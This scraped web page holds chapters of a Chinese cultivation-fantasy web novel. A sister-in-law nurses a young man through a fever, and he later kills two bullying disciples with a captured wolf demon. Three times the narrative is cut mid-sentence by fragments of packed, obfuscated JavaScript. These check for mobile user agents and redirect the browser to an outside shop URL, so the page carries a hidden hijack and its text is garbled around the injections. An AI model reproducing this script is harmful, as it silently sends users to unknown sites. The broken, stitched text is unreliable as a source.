0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117048|195933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她似乎活成了兄长的模样。 少年垂眸,在她腰间悬挂的玉佩上停留一眼,又去看那碟甜糕,学着她的样子,倒茶,饮茶,品甜糕。 苏以墨只饮了一口茶,甜糕也仅咬了一点,便再难下口。 对面的女子倒是神情如常,不紧不慢地吃完甜糕,再去饮那杯苦茶。 她侧首遥望窗外的飞雪,轻声道:“我与你兄长,去年此时,还像这样,面对面饮茶。” “我以前喝不惯,第一次喝时皱着脸,你兄长便笑。” “现在喝习惯了。” “可那个爱喝茶的人,却不在了。” 窗外风雪簌簌,秦月华怔怔地伸了手,似乎是想将那些飘雪握在掌心。 苏以墨兀自捧起面前茶盏,嗅了嗅,饮了一口。 紧接着,他又饮了一口,一口接一口,直至茶水见底。 同许多事物一样,他虽不适应,但也说不上喜恶。 少年放下茶盏,展颜道:“我陪嫂嫂饮茶。” “这是天阳郡盛产的青毛茶,嫂嫂若喜欢,日后我们可以去天阳郡,兄长曾在那里长住过一段时日。” “好啊。”秦月华轻声回应,徒劳地握了握掌心,却什么都没有握住。 她放下手,垂了眸,随即笑了笑:“天阳郡……也好,去看看子谦曾住过的地方。” 天阳郡,处于中州最南边,中州第一宗,第一仙门便位于天阳郡内。 原文里,主角日后是要入第一仙门的。 在前往天阳郡的途中,与他同行,或许就能偶遇成仙机缘。 …… 南山的雪,又接连下了几日。 对门的小孩不敢过多打扰仙人姐姐,从得了剑谱后,便在家中修炼,等积攒一堆问题,才过来询问她。 这一日,秦月华指点完两个小孩,照常练了几套剑法,却意外发现苏以墨的屋门仍紧闭。 苏以墨偶尔也会起晚了,但不会超过辰时,且每日都会修炼足三个时辰。 今日直到巳时都还未起,这明显不合常理。 秦月华去敲主卧的门。 没有得到任何回应。 她径自推开,暗沉的屋里涌入光亮,两边轻纱床帐落下,隐隐绰绰的,让人看不清。 秦月华疾步走过去,掀起床帐一角,便瞧见少年整个人平躺在榻上,双眸紧闭,面色苍白,毫无血色。 几乎都要看不见胸膛起伏,那副气若游丝的模样,秦月华立即给他把了脉,又抚上他的额头,摸了摸他的颈侧,发现只是普通的高热,便给他服了一粒退热的丹丸。 服用丹药没多久,少年的呼吸便平稳了些。 秦月华没有急着走,而是坐在榻边,等他彻底退热。 谁知少年的烧反反复复,退热没多久,还未清醒,又重新起烧,直折腾到天色昏暗,他的身体里甚至隐隐出现了灵气逆行的征兆。 秦月华先前给他煎了药,也只是让他退热一个时辰,整个人仍昏迷不醒。 如今身体高热,灵气逆行,秦月华不得不先给他服了保命丹,给他裹了御寒的大氅,再将软绵绵的人儿背起,径自踏入风雪里。 桥西镇上有修士开的药堂,灵药充足,还有两名医师坐镇。 她医术不精,眼下只能去桥西镇碰碰运气。 冬日天色黑得很快,尤其是下雪天,方才还是白日,转眼就化作了茫茫雪夜。 秦月华背着他,沿着崎岖的山路,深一脚浅一脚地踏进积雪里。 少年的身体很烫,隔着衣料都能感觉到那股高热。 积雪很深,山路难行,秦月华也只能施术,加快脚力,尽快下山,去镇上药堂寻求帮助。 普通人三个时辰的脚程,即便秦月华脚力再快,如今风雪肆虐,也仍需一个时辰。 山路崎岖,苏以墨觉得自己像是做了一场梦,极为颠簸。 他睁眼的瞬间,意识到自己并不在屋内,身体刹那僵硬,第一反应便是幻化出灵刃,藏于袖中,暗暗握紧。 似乎是察觉到背上的人醒了,秦月华速度不减,缓声道:“你发了高热,我带你去药堂。” 她语调仍是冷的,略显急促的呼吸里,却暗含几分急切。 听着她比平时更重的呼吸,感知到此刻的自己正完全压在她身上,望着前方袭来的风雪,因为速度之快,几乎要迷了他的眼睛。 她挽起的发,如今已经松散,上面落了一层雪。 背上的他,穿着御寒的大氅,脸完全裹进兜帽里,埋在她颈窝处,没有风雪落进来。 或许是身体发了高热,苏以墨觉得没力气,连指间攥紧的灵刃,都无声无息地消散了。 7. 眼神 风雪飘摇,刚过酉时,桥西镇上便尽数熄了灯,仅有零星两户还亮着。 借着那点似萤火的光,秦月华背着再度昏睡的少年,快步踏进前方昏黑的长街。 明明上元节刚过,却因为寒风卷起枯黄的落叶,混进脏污的雪水里,显得满地萧瑟。 中州修仙盛行,各郡皆开办大大小小的药堂,由各宗医师坐镇。 桥西镇只有一家药堂,由万法门弟子驻守,平时药堂里会有两名医师坐堂,今夜透过半开的门扉,烛火明亮,仅有一位身穿青衫的青年正站在药柜前方,清点药材。 察觉到有人来,青年阖上药柜,回过头。 只见一名鬓发散乱的女子,素色衣裙皆被雪水浸湿,背上还有一个昏睡过去的少年。 少年穿着大氅,裹着兜帽,脑袋搁在她背上,面色绯红,双眸紧闭,干干净净,并未受到风雪侵袭。 南桪立即迎上去,接过她背上的少年,将人放在睡榻上。 一刻不停地赶路近一个时辰,秦月华呼吸微喘,却仍是有条不紊地说着少年的病症,何时发现征兆,再到具体发热时间,期间用过什么药等等。 南桪听得很认真,又给少年仔细做了检查。 浑身高热不退,或许是服用保命丹药的缘故,灵气倒没有再逆行,只是像一团火般,在他的体内乱窜。 南桪借用法器药炉,连接出一道充满生机的翠色灵气,沿着掌心,缓缓送入苏以墨的身体里,不断替他引导、梳理暴走的灵气。 那股灵气游走在经脉之中,很是舒适,像是干净的水流在缓慢洗涤,洗去所有的浮躁,热意。 所过之处,微凉而舒适。 少年经脉比常人更宽阔许多,灵气量之磅礴,让南桪足足引导了一个时辰还未停歇,微晃的烛光中,连额头都沁出了汗。 秦月华睇了眼那悬空的药炉,并未打扰他,只是在一旁护法,让他安心医治苏以墨。 屋外风雪渐大,屋内烛火抖动不休,秦月华掩上门扉,重新恢复明黄的光亮。 直至半个时辰后,青年方休。 连接的翠色灵气消散,悬空的药炉也重新落回桌面。 南桪用巾帕拭去额上渗出的汗,去柜台前写了张丹方,给病人开药。 “先给他吃一颗退热丸。”南桪交代一句,又回身从数个药柜里取药,包好,让后厨的学徒煎药。 修士的药堂不比凡人的药铺,只收取灵石,且价格不菲,并非常人能消耗得起。 不过,这段时日,桥西镇怪事频出,一些人生病了,生怕是妖怪作祟,特地来药堂看病、买药。 后厨的学徒忙到一直守着炉子。 秦月华同样付了昂贵的看诊与医药费,她看了眼丹方,同她先前给苏以墨吃得一样,只是用的灵植要更好。 苏以墨体内的灵气像是被顺毛一样,重新安静下来,浑身高热却还未退,整个人就像火炉一样,脸都被熏得红彤彤的。 服下的退热丸有效,但用处不大。 望着坐在少年身边,面露担忧的女子,南桪宽慰道:“他的高热症状,并非是身体受寒导致,更像是修行中出了问题。” “修士的身体不比凡人,等他喝下几服药,慢慢退了热,便好了。” 秦月华轻轻颔首,只是眼睛仍看着睡榻上的少年,眉头微蹙,神色担忧,不曾移开过半分。 灯火掩映下,女子单薄的衣裙满是褶皱,裙角脏污,木簪倾斜,挽起的发丝散乱,即便荆钗布裙,形容狼狈,也难掩绝色。 桥西镇药堂是万法门弟子驻守,南桪自然是认得苏以墨的,来桥西镇坐堂之前,他在门中亦听闻了苏珩师兄的死讯。 前些时日,下山除妖的同门,还曾说起过越峰主一家的惨事,长子苏珩莫名身死,没过多久,越峰主的魂灯亦灭了,独留幼子苏以墨,不久前也被推下山崖,生死不知。 南桪天赋不突出,又出身山野,在宗门里是极不起眼的存在,因而会被派遣到桥西镇这里坐堂。 苏珩师兄曾在宗门里照拂过他,南桪自然也愿意多照顾他的幼弟。 他没有问苏以墨如何解决经脉问题,得以修炼,也没有问秦月华是谁。既然她如此担忧苏师弟,迎着风雪也要来为苏师弟看病,想必也不会害了他。 至于其他的,各人有各人的因缘罢。 南桪什么都没问,安静待在柜台后,整理那些药方和账簿。 * 一连服了三帖药,苏以墨的高热总算是退了些,虽然仍在发热,但烧红的面色已然恢复如常。 这期间,南桪私下里补贴了一些灵药,替苏以墨治腿疾。 双腿虽然好了大半,能够站立行走,却不能长时间如此。 药堂的灵植虽比不上宗门里的,但比秦月华在南山采摘的,要好上许多,同时,也昂贵许多。 这部分,南桪并没有算作药费。 苏以墨一连躺了四日,发热的症状才彻底结束,他身上还穿着发汗的衣裳,黏黏糊糊的,不太舒服。 屋里透不出光亮,眼前是茫茫的昏暗,他张了张唇,却发不出声音,感觉喉咙都是艰涩的。 正当他仍处于半清醒半昏迷的状态时,前方倏忽探来一只手,熟练地贴上他额头。 略带薄茧的指腹,温度微凉,是熟悉的粗粝感。 苏以墨半阖的眸,睫羽突然颤了颤。 他唤:“嫂嫂……” 高热仿若将嗓子都烧哑了,他声音很小,很低,没有平时的软调子,透着些有气无力感。 秦月华将灯烛点亮,扶他起来,给他喂了点温水。 许是大病初愈,少年眉眼里都是倦意,面容苍白,下颌略尖,整张脸都清瘦许多,先前稍稍养起来的肉,又被减了回去。 他看着格外虚弱,乖乖喝水的样子,比平时更温软。 喝完水,少年靠在她肩膀处,恹恹的,同她说:“嫂嫂,我饿。” “快卯时了,等街市开了,我去给你买点粥。” 少年很乖地点点头。 他被扶着躺回去,伴着头顶烛火微晃的光亮,思绪半梦半醒。 苏以墨其实都有些不太记得先前发生了什么事,只记得法术反噬,身体滚热,像是架在火中炙烤那样。 风雪好冷,吹着他的脸一冷一热,嫂嫂背着他,一直走,一直走。 现在,应当是在镇上的药堂了。 大病初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117049|195933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愈,少年觉得困倦,睫毛一掀一掀的,思绪飘忽,迷迷糊糊地又睡过去。 等他睡醒,已然是天光大亮。 鼻尖是食物的香气,刻意压低的声音传入耳中。 “陆道友,昨日我仔细研究了一下你说的药炉医治改进之法,的确是你说得对。” “旁人绝不会做出擅改医道心法一事,陆道友,你是真正的医道天才!” 南桪很是兴奋,手舞足蹈的,声音都快有些压不住。 秦月华的回应仍是平静而冷淡的:“南道友过誉了,我医术不精,只是经师父指点,误打误撞改进的。” 南桪只当她在自谦,这几日同她交流医道,对方扎实而庞然的知识,令他诧异,却也令他心喜。 那些交流后的感悟,让他受益匪浅。 注意到榻上少年睁开的眼睛,南桪立即起身,笑道:“苏师弟醒了。” 南桪曾给兄长送过几次药材,苏以墨也认识他,轻轻应了声,便从榻上起身。 直至发现双腿能动,轻松穿进鞋袜时,少年惊喜地抬头:“嫂嫂,我的腿好了!” 他眼眸明亮,像是波光粼粼的湖水,晃动着欣喜的神采。 与少年欣喜不同的是,听闻“嫂嫂”二字,一旁着青衫的青年,在短暂的讶然后,眼眸像是蒙了尘的明珠,黯淡下去,骤然失去光彩。 仿佛被少年的欣喜所感染,见他大好,秦月华唇畔轻扬,也微微笑着:“快些洗漱吃饭罢。” 桌上摆放着新的洗漱用具,炉子上还有一直温着的粥。 苏以墨去了隔间,简单洗漱后,又用巾帕沾了热水,擦洗身子,最后换了套干净衣裳。 等少年再出来,是一身绣着青竹叶的白袍,南山地界特有的制式,料子就是简单的棉布,穿在他身上,倒显得贵气极了。 秦月华突然就想起当日在山洞里找到他时的光景—— 白色衣衫都是凝结的血痕,蜷缩在墙壁一角,打结的头发被梳起,简单扎成马尾,露出那张早已擦干血迹的面庞。 即便落到那等狼狈境地,从小被宠大的小公子,也没有折损半分风华,那些伤痕,只是衬得他愈发脆弱可怜。 他是很会利用自己皮相的,时时刻刻都保持着光鲜亮丽。 就如眼下,明明饿了,还偏要先将自己打理得干干净净,漂漂亮亮地出现在人前。 虽然秦月华觉得他事多、麻烦,但也不得不承认那副精致温柔的面貌,的确是秀色可餐。 “过来吃饭罢。” 秦月华睇去一眼,便低头将温着的粥,并一碟小菜和两个包子都端上去。 大抵是腿伤恢复,少年心情很好,唇角微翘,同嫂嫂道了声谢,便坐下喝粥。 苏以墨的吃相很安静,只是眉眼微弯,像个藏不住情绪的小孩子,掩不住的笑。 他偶尔会朝药柜方向睇去一眼。 青年看似在垂头忙碌,却明显有些心不在焉。 先前再次醒来时,苏以墨偏头,清楚地看见南桪脸上的笑,以及他看向面前女子的专注目光。 他认得那样的眼神。 就如同许多女修曾看向他那样。 阿娘说,那叫爱慕。 8. 驭妖(修尾) 大雪在昨日便停了。 春寒料峭,顶着寒风,桥西镇家家户户都在门前扫雪。 传闻这场年后的罕见大雪,是一只藏于山野的雪妖精魄在作乱,被万法门弟子合力捕捉,这才解决了灾祸。 返回宗门的途中,一些弟子路过桥西镇,顺便去了药堂,还同南桪说了雪妖精魄的事。 那精魄乃天地自然所化,可以操控风雪,毋庸置疑的妖王级别,若非还未进入成熟期,他们这些内门弟子,都会折损在那里。 苏以墨先前遭法术反噬,身体还未完全将养好,便暂时留在了药堂,每日喝药、敷药。 清风朗月的越峰主之子,母亲曾是中州第一美人,师传琴道大家,兄长剑道天才,年少成名。 这桩桩名头,即便苏以墨是个无法修炼的废物,大多数宗门弟子也都认得他。 因而提及雪妖精魄一事时,一些万法门弟子还不时瞥向老神在在,倚在睡榻上假寐的少年。 有弟子悄悄问:“南师兄,他怎么会在这?” 还有弟子劝阻:“不会是师兄你救了他吧,那你要倒大霉了!” 更有女修不忍看苏以墨被折磨,将声音压得极低:“师兄还是快些让他走罢,沈镛他们不会放过他的。” 南桪正低头在柜台捣药,伴着笃笃笃的声响,突然想起他当年送药时,曾见过的一幕—— 年仅五岁的苏师弟,因为不能修炼,站在一群同龄人里,孤零零的。 那些孩子以游戏为由,将苏师弟你推我搡,嘴上还嬉笑着。 领头的那个孩子,便是沈长老次子,沈镛。 这回苏师弟坠崖,听闻也是沈镛所为。 想到那人的恶劣行径,南桪善意地扯了个谎,摇摇头道:“并非我所救,苏师弟还有亲人,是苏珩师兄的道侣。” “师嫂来自北地,是出自名门大宗北寒宫。待苏师弟将养好,便会同她回北地了。” 北地照雪宗,属隐世宗门,极为神秘,多数修士都未曾听说过。而北寒宫之于北地,便如第一仙门之于中州,是首屈一指的超级宗门。 如此扯谎,南桪也是想替师嫂与师弟减少不必要的麻烦。 果然,听闻北寒宫的名头,方才还相劝的弟子们便都息了声。 弟子们有意在药堂里巡睃一圈,并未瞧见什么女子。恰在此时,秦月华提了热腾腾的早膳进来,一身简单的素色衣裙,木簪挽发,除了那张美貌过人的脸,并没有其他特别的。 “嫂嫂。” 榻上一直假寐的少年轻唤。 他睁了眼,极为自然地起身下榻,接过秦月华手里的膳食,同她相对而坐,旁若无人地用膳。 少年吃相极为优雅。 眉眼低垂时,温柔沉静,仿佛周身都拢了一层朦胧光晕,连时间都安静下来。 女修们忍不住频频看去。 先前在宗门中,仅凭那张精致的玉容,便有许多女修向其示好,更别提苏以墨还有那样一个极好的出身,就连掌门之女都曾有意同他结亲。 如今跌落云端,那张绝好的皮相,仍引得许多人注目。 其余修士,知晓秦月华是苏珩道侣,且出身北寒宫,连一眼都不敢多看。 药堂里倏然沉默下来,直到有人前来取药,才重新响起说话声。 * 桥西镇的药堂,平时是两名医师坐堂。 近来因为妖物频出,受命去诛妖的弟子受伤颇多,医师人手不够,便从药堂里抽调一名回宗门。 如今雪妖精魄已捉,它麾下聚集的妖物,也都死的死,逃的逃。 妖祸已解,药堂即将恢复往日的轮值。 今日是苏以墨醒来的第三日,昨日那些弟子路过桥西镇,从药堂拿了些药,便回了宗门。 天气晴好,阳光穿过窗户,透进一方光亮,细微的尘埃漂浮在光柱里。 初初能走动的苏以墨,站在窗前,微微眯了眼,神态自然而惬意,望着街道上穿行来往的人群,回头同嫂嫂提议出去逛一逛。 在他们出去前,南桪面有难色,踌躇片刻,还是叫住了秦月华。 “陆……师嫂,我有些话想单独与你说。” 秦月华微微颔首,示意苏以墨在门口等他,便同南桪进了柜台旁一侧存放晒干药材的房间。 南桪:“镇上药堂三月一轮值,明日一早,等那两位同门过来,我便要走了。” “师嫂,你有所不知,苏师弟同宗门一些人有些龃龉,我担心明日会有人来为难他。”他因为担忧,眉头皱着,语速都跟着快了些,“苏师弟的腿伤已近大好,我另外配了药贴,每日贴上一副便好。” 南桪说着,便将一叠药贴从空间戒取出,递过去。 “师嫂,我先前还骗他们说你是北寒宫弟子,但此地毕竟是中州,靠近万法门,那人又是宗门长老之子,倘若真的想对苏师弟做点什么,防不胜防。” 他叹息一声,殷殷劝道:“你们还是快些离开桥西镇罢。” 北寒宫? 那个妖兽潮来时,少宫主带头逃跑的宗门? 秦月华收回思绪,略一颔首:“我知道了,多谢医师提醒。” 南桪以为她被劝动了,便放下心来,同她出去。 一直守在门边的苏以墨,听到声响,侧首看去时,唇角微弯,同秦月华露出一个温柔的笑:“嫂嫂,好了吗?” 秦月华缓步至他身侧:“走罢。” 两人一同上了街。 街道上的积雪早已被清理干净,两旁是小贩的吆喝声,食物香味混杂,蒸笼烟雾袅袅。 如今已过辰时,街道人来人往,路边的茶楼座无虚席,正在说南仙门北寒宫的事。 秦月华进去点了壶茶,听了一耳朵。 或许是北地距离中州实在太远,那地方的酷寒又不是常人能忍受的,因而有关北地之事,中州多是道听途说。 譬如数百年前挽救北地的,明明是她师父陆逍遥,却变成了北寒宫前任宫主。 再譬如前些年那场令北寒宫少宫主丢盔弃甲的妖兽潮,明明是照雪宗弟子与一众散修的功劳,如今倒变成了北寒宫力挽狂澜,拯救北地百姓于水火之中。 秦月华实在听不下去。 苏以墨倒是托着腮,听得津津有味。 他尝了这里的茶点,眉稍稍皱起,说道:“嫂嫂,我想吃南街尽头那家的酥饼。” “可是我的腿走得有些累了。” 少年抬头望着她,说得很认真,声调徐徐的,咬字很软,像是在同她撒娇。 他很真诚,又生了那副好样貌,虽然是在麻烦别人,但平心而论,很难有人会拒绝他。 更何况,秦月华也想知道他要作什么妖。 从女子裙角蹁跹,消失在茶楼门槛时,苏以墨便起了身,并未做任何遮掩,朝与她相反的方向而去。 他沿着街道,往茶楼后方的巷子里钻去。 不多时,苏以墨手握扇骨洁白的折扇,不急不缓地从漆黑的窄巷里出来。 在少年重新踏进茶楼时,藏在巷外的秦月华也现了身。 她遥遥望向茶楼,仍记得方才所见的那一幕—— 苏以墨,将一只正在吞噬人心的狼妖,拘进了折扇里。 顶尖法器皆具备一个特点,比普通法器会多出一个特性。 她送的琢玉,除了能提高法术威能,还能提前存有一次法术,同人交战时,可以瞬发出去。 苏以墨方才施展的,是《与天书》中记录的,亦是失传的神通—— 驭妖术。 数千年前,随着最后一名修士飞升,世间妖物尽数沉睡,而神通驭妖术,也随之失传。 如今妖物横行,驭妖术却再遍寻不得。 这样的神通,再度现世,足以令万千修士眼红觊觎。 秦月华凝眸深思,在原地伫立片刻,接着当做什么都没发生,去南街尽头买了酥饼,返身回茶楼,去寻苏以墨。 或许是许久不曾出门,苏以墨出了茶楼,便四处走走停停,累了便歇会儿,歇好了继续走。 他对桥西镇很熟悉,沿着西边那座著名的月牙桥来回走了两遍。 少年下了桥,仍笑道:“阿娘说,倘若我同她跟阿爹走散了,便让我沿着月牙桥走两遍,她就会在这里找到我——” 他倏忽顿住,低头盯着栏杆上的石柱,脸上的笑容也倏忽消散,声音低低的,像是在自言自语:“阿娘,找不到我了……” 少年背对着她,垂着头,长久地伫立在那里,肩膀些微耸动,喉咙里不时会溢出一两声哽咽。 秦月华并未出声安慰,只是静静站在那里,陪着他,身后桥上人来人往,二人好似自成一个世界,不被外界所扰。 少年伤心地哭了很久,最后他使劲擦了擦脸,仿若要将泪痕都擦干,回身时,露出红了的鼻头,和一双红红的眼睛。 “回去罢。”秦月华轻声道。 少年点点头。 月牙桥与药堂一个在西一个在东,二人踏着落日余晖,回药堂时已经是天色昏暗。 一进门,南桪站在柜台后,瞧见他们,便冲着秦月华示意,轻轻摇了摇头。 药堂空间不大,后院还有两间屋子,是供坐堂医师休息的。 此时,从后院处,走过来两个少年。 为首的少年身形高大,面容俊朗,头戴白玉冠,墨发束起,没有穿门派弟子服,而是一身华丽的圆领蓝锦袍,腰间悬挂环佩,行走间,发出叮叮当当的脆响。 明明应当是华贵的模样,却像是刻意堆叠起来,又难以衬起,反倒显得俗气。 少年却毫无所觉,走上前,唇角咧开,冲苏以墨笑笑:“真巧啊苏师弟,在这都能碰见你。” “今次轮到我与肖师弟坐堂,你若有哪里不适,都可以来找我。” 像沈镛这样的长老之子,再如何不受重视,都不会被派来镇上药堂驻守。 这一回,明显是沈镛自己强行换来的。 苏以墨觑了眼他身后的肖涵—— 还将自己的走狗也换来了。 苏以墨不言不语,沈镛也习惯了他这副哑巴模样,只是微微笑着,便将视线移到一旁的女子身上。 即便是听回去的弟子说女子的容貌如何如何美,都不如亲眼所见来得冲击足够。 沈镛惊艳的同时,眼底深处也藏着一抹忌惮。 苏珩的道侣,出身北寒宫。 即便他是万法门长老之子,也不能轻易同她结了仇。 只是些许得罪,倒是无伤大雅。 此番外出,沈镛也没想着能弄死苏以墨,只是想趁机继续教训羞辱他。 “这位道友,可是来自北寒宫?家父恰与北寒宫宫主有些往来,不知道友师承何人?” 沈镛微一行礼,可惜嘴角那抹挑起的笑,生生破坏了这份“谦恭”。 秦月华同样眼高于顶,凤眼睨去,似是鄙夷,又像是完全看不上眼,毫不客气道:“师承,挽救北地第一人。” 挽救北地第一人? 那不是北寒宫前任宫主? 像是谎言被戳破,沈镛的脸一阵青一阵白。 据说北寒宫前任宫主伤重身退后,便将宫主之位交给弟子,难不成就是眼前这位? 那自己说的父亲与北寒宫宫主有旧,岂不是扯谎扯到了那人面前。 想到秦月华那称得上睥睨的眼神,沈镛越发肯定自己的猜测,恨不得立即钻进地洞里。 他惹不起秦月华,便陪着笑,愈显恭敬地拱手行礼,转身时,视线瞥过苏以墨,厌恶里藏着微妙的妒忌。 沈镛不知道他们何时离开,却不想放过这最后仅有的机会,他朝南桪走过去,语气强硬:“南桪师兄,药堂有我与肖涵,你可以回去了。” 南桪看了眼剑修的沈镛与器修的肖涵,叹气:“今夜太晚了,我明早再回宗门罢。” 没想到一个不起眼的医修也敢违逆自己,沈镛生气,但当着秦月华的面也不敢发怒,只是狠狠瞪了他一眼。 谁知苏以墨却出了声:“这么多人,药堂不够住了罢。嫂嫂,要不我们去付清诊费,随便找个客栈对付一宿,就不给药堂添麻烦了。” 苏以墨一说要走,沈镛立即发作:“南桪,每三月一轮值,我和肖涵都已经来了,你还留在这里做什么!” 这回不等南桪再说,沈镛便以宗门法规为由,将他赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117050|195933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出药堂。 药堂里瞬间就只剩下沈镛、肖涵、秦月华、苏以墨,以及一直守在后厨煎药的学徒。 这转眼间的变化,秦月华只不动声色地看了眼苏以墨,后者发现嫂嫂在看自己,仅是冲她露出一个温温柔柔的笑。 当天夜里,沈镛与肖涵便宿在了药堂的后院。 苏以墨仍宿在药堂的睡榻上,秦月华则在隔间的躺椅上对付一宿。 一夜好眠。 翌日一早,沈镛便得知了二人要离开的消息。 就在他火急火燎之际,似乎是为了赶路更方便,秦月华出了门,要先去驿站雇辆马车。 沈镛大喜。 他让肖涵打昏学徒,守好门,像终于捕捉到猎物那样,露出了獠牙,不紧不慢地走到苏以墨身侧。 俯身直视他,笑得玩味而恶劣,肆意折辱道:“小废物,你怎么还没死啊?” “坠崖都没死,真是祸害遗千年。” “你短命的爹妈哥都死了,你还活着做什么?” “哦,是想再克死你的嫂嫂吗?” 提到嫂嫂二字时,沈镛那张俊朗的面容几乎扭曲,明显地流露出嫉妒。 该死的苏以墨,真是好运啊! 之前有父母兄长护着,现在亲人都死了,还能冒出个北寒宫宫主的嫂嫂,继续护着他。 他怎么能这么好运! 沈镛恨得咬牙切齿,眼睛都有些红了,恨不得吃他的肉,喝他的血。 少年却置若罔闻,不言不语,仍是那副没什么表情的样子,就连被迫抬起头,眼睛直视面前的人时,也没有任何情绪。 被那双漆黑的眼看着,明明眼里毫无情绪,却让沈镛不自觉打了个冷颤。 他想起小时候,苏以墨不会哭也不会笑,被欺负,被推倒,破皮流血也仍没有表情。 他永远都是那副没有情绪的面孔。 就像是一个假人。 这是个怪物! 偏偏这样的怪物,无法修炼的废物,爹娘宠爱,兄长疼爱,就连他最喜欢的师姐,也曾想过与他结亲。 现在,他还有个北寒宫宫主的嫂嫂亲自来中州接他。 想必日后又是顺遂的一生。 凭什么? 凭什么! 他沈镛也是幼子,比旁人更努力地修炼,费尽心思讨爹娘喜欢,阿爹却偏疼长子,阿娘待他也不假辞色,更偏爱小妹。 就连他心悦之人,也看上了苏以墨那个废物! 沈镛恨死他了。 他恨不得立刻掐死他。 早知道就掐死他,省得让他得了这么大一个机缘! 沈镛双眸发红之际,握住对方下颌的手却被拍开。 颇有些重量的扇柄拍打过去,在沈镛的虎口处瞬间落下明显的红痕。 沈镛还没来得及发怒,目光便被苏以墨手里的折扇吸引过去。 虽然折扇合起,但那洁白的扇骨,隐约可见温润,其中内敛的光华,一见便知不是凡物。尤其方才拍打到自己手上时,隐约还能感受到其中的磅礴灵力。 这样的好东西,定然是那位北寒宫宫主的嫂嫂送给他的。 只是这种顶尖法器,苏以墨这个废物也配?! 沈镛冷笑一声,伸手便将那柄折扇夺了过去。 他蓦地将折扇打开。 顷刻间,一头毛发黑灰的狼妖从扇面冲出,狼眸猩红,狼爪撕碎他的胸膛,随着大蓬的鲜血落下,狼妖的身躯,从他的胸腹穿过,皮毛上全都是鲜血与碎肉。 守着门的肖涵,早已吓傻了。 他双腿发软,跌坐在地,还没来得及逃跑,便被发狂的狼妖啃咬住喉咙。 喉间鲜血汩汩,肖涵眼瞳惊骇得放大,呼哧两声,双腿一蹬,也跟着咽了气。 一连杀了二人,狼妖被解了驭妖术,失去控制,欲要夺门而出之际,身后的少年已然捡起落在血泊里的折扇,手腕一挥。 跃至半空,即将逃出去的狼妖,像是滞空了两息,随着被齐颈割断的狼头坠落,整具狼身也重重摔落在地。 喷涌出的热血,斜斜洒在前方紧闭的门扉,油纸被染成猩红。 秦月华并未离开。 作为他的嫂嫂,担忧他的安危,在所难免。 隔着窗扉戳破的小洞,她隐去气息,将一切看在眼里。 就像一个置身事外的旁观者,等苏以墨结束,她才去了驿站,雇了一辆马车回来。 回来时,屋门还未被打开,但洒在门框上的血迹,极为明显。 好在药堂在街尾,格外雅静,周围都是普通住户,这期间也没有来看病的人,因而里面的惨案,还没有被发现。 秦月华就像是没看见那血迹一样,推开门。 少年坐在干净的榻边,周围都是浓郁的血腥气,鲜血混合着碎肉洒了一地。 沈镛胸腹破了个大洞,趴伏在地,瞪大眼睛,死不瞑目。 肖涵则靠在另一扇门上,喉咙几近被咬断,脸上仍保持着惊骇。 断头的狼尸就摔在他身边,狼头滚到了药堂的柜台前。 这样惨烈的现场,秦月华连眉头都没有动一下,只是跨过挡路的狼尸,走进去:“马车雇好了。” 闻声,少年抬起头,如玉的折扇顺着手腕垂下,轻叩榻边,扇骨沾染的血迹,早已滴落干净,在地面留下明显的血痕。 他呆愣愣地望着秦月华,随即眸微弯,露出点温柔的笑来:“嫂嫂,你回来了。” 少年衣衫浅白,不染纤尘,明明被困这片鲜血涂抹的血腥之中,却仍毫不自知,温柔浅笑。 秦月华走进去,将他带出来。 少年安静地跟在她身后。 直至穿过巷子,坐上停在外面的马车,车轴轱辘向前滚动时,苏以墨才开了口:“若非嫂嫂所赠琢玉,以墨恐怕也要死在那狼妖手中。” 他声调偏软,黏黏糊糊的,带着点小委屈,不等他继续示弱,眼前突然伸过来一只手,落在他发顶,力道温柔地抚了抚。 没有戳穿,没有指责,更没有粉饰太平地应和,她只是一如既往地镇定从容:“杀了就杀了。” “无妨,出了事,有嫂嫂替你兜底。” 9. 重金 仍是过往的平静语调,却没来由地让人觉得多了温度。 按在发顶的掌心还未移开,苏以墨露出些许怔然,抬首,看向对面的女子。 他故意让她看见拘妖,亦是有意让她看见药堂的那一幕幕。 包括方才的示弱,都只是试探,试探她究竟是装作不知,还是像那些口口声声诛邪除妖的卫道士那样,严厉训斥,甚至惩罚,以此来教会他何为对错。 然而,她什么都没提起。 没有做任何掩饰,就像是提及路边的花花草草,她直说—— “杀了便杀了”。 南山村的那段相处时日,让他以为她总有发不完的善心。 苏以墨认真地凝着她,没有任何好奇与探究,就仅是纯粹的打量。 “嫂嫂不怪我吗?”他问。 “你是子谦的弟弟。”秦月华收回手,淡声道,“不会有错。” 她仍没有问杀人缘由,只是说他没错。 苏以墨并非没有听过这样偏袒的言论。 年幼时,不管他说什么,做什么,阿娘只会笑眯眯地说好,甚至在他研究毒经,阿娘都要充当药人。 旁人推他搡他,阿娘说那是欺负,要报复回去,因而他便下了毒,阿娘说他没错。 这回他仍是如此。 她也说他没错。 